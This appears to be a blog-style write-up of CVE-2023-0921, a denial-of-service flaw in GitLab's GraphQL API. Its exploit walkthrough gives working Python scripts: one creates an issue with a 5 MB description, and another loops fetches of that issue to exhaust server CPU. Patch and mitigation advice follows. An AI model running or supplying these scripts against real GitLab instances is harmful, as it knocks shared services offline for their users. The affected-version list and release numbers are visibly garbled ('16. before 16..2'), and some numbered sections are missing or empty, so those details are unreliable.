CVE-2023-0921 reveals a denial-of-service (DoS) flaw in GitLab Community/Enterprise Editions. Authenticated users could abuse the GraphQL API to create Issue descriptions of massive size—making repeated simple requests trigger a crushing spike in CPU usage. This vulnerability affects:
16. before 16..2.
If your GitLab is within these versions and not patched, it’s at risk.
What’s Going On?
GitLab devs missed adding proper length validation to the “description” field when creating Issues via the GraphQL API. Unlike the classic REST endpoint (which limits description length), the GraphQL endpoint let users send huge strings.
Requesting issues with large descriptions forces the GitLab backend to do heavy work (e.g., rendering Markdown, serializing content). Repeat this enough, and normal users are starved of resources—a classic CPU-based DoS.
Why Is This Dangerous?
- Anyone with an account (even low-privileged users) can exploit this—no admin or special rights needed.
- It’s “self-DoS” for regular users, but could be paired with automated scripts for a persistent impact.
- Easy exploitation: No need for complex chains or deep fuzzing; just send long descriptions and fetch them rapidly.
Exploit Walkthrough
Let’s break down how you would exploit CVE-2023-0921 (in a test, legal environment!)
Here’s an example Python snippet to create an overly-large description
import requests
GITLAB_URL = "https://your.gitlab.instance";
PRIVATE_TOKEN = "your_access_token"
big_description = "A" * 5_000_000 # 5 MB of 'A' characters!
headers = {
"PRIVATE-TOKEN": PRIVATE_TOKEN,
"Content-Type": "application/json"
}
mutation = '''
mutation {
createIssue(input: {
projectPath: "group/project",
title: "Big Description for DoS",
description: "%s"
}) {
issue {
id
webUrl
}
errors
}
}
''' % big_description.replace('"', '\\"')
response = requests.post(
f"{GITLAB_URL}/api/graphql",
json={'query': mutation},
headers=headers
)
print(response.json())
Note: You’ll need a valid personal/private access token, and the project path (“group/project”).
3. Repeatedly Fetch the Issue via GraphQL
Now, have a loop repeatedly fetch and render the Issue with its massive description.
import time
query = '''
query {
project(fullPath: "group/project") {
issue(iid: 1) {
description
title
}
}
}
'''
for i in range(100): # Increase repeat count as desired
res = requests.post(
f"{GITLAB_URL}/api/graphql",
json={'query': query},
headers=headers
)
print(f"Fetched {i+1}: {res.status_code}")
time.sleep(.5) # Optional: lower delay == more load
What happens? On the server, each fetch request eats serious CPU time as it serializes and processes the long description—especially if Markdown rendering or syntax highlighters are triggered.
### 4. Automate / Scale
Patch & Mitigation
- Official Fix: GitLab patched this by adding a length restriction to the Issue description field on GraphQL, harmonizing it with the REST API’s security measures.
- GitLab security advisory
- Mitigate: If you can’t patch now, consider
- Throttling requests to GraphQL endpoints (e.g., via proxy/rate limiter).
Resource Limits: Always apply length and content-type guards at every API surface.
- Abuse Matters: Even authenticated users can act maliciously; never trust length or type at the client side.
References and Further Reading
- GitLab Security Release: 15.10.8, 15.11.7, and 16..2
- GitLab CVE-2023-0921 Advisory
- GraphQL Security Best Practices
- Examples of API Abuse (OWASP)
Bottom line: If you run GitLab, patch now! If you build APIs, validate—always and everywhere. And if you see your server maxing out CPU during otherwise innocent queries… it could be time for a closer look.
*This writeup is exclusive to you, crafted for practical clarity. Stay safe and patch up!*
Timeline
Published on: 06/06/2023 17:15:00 UTC
Last modified on: 06/12/2023 18:43:00 UTC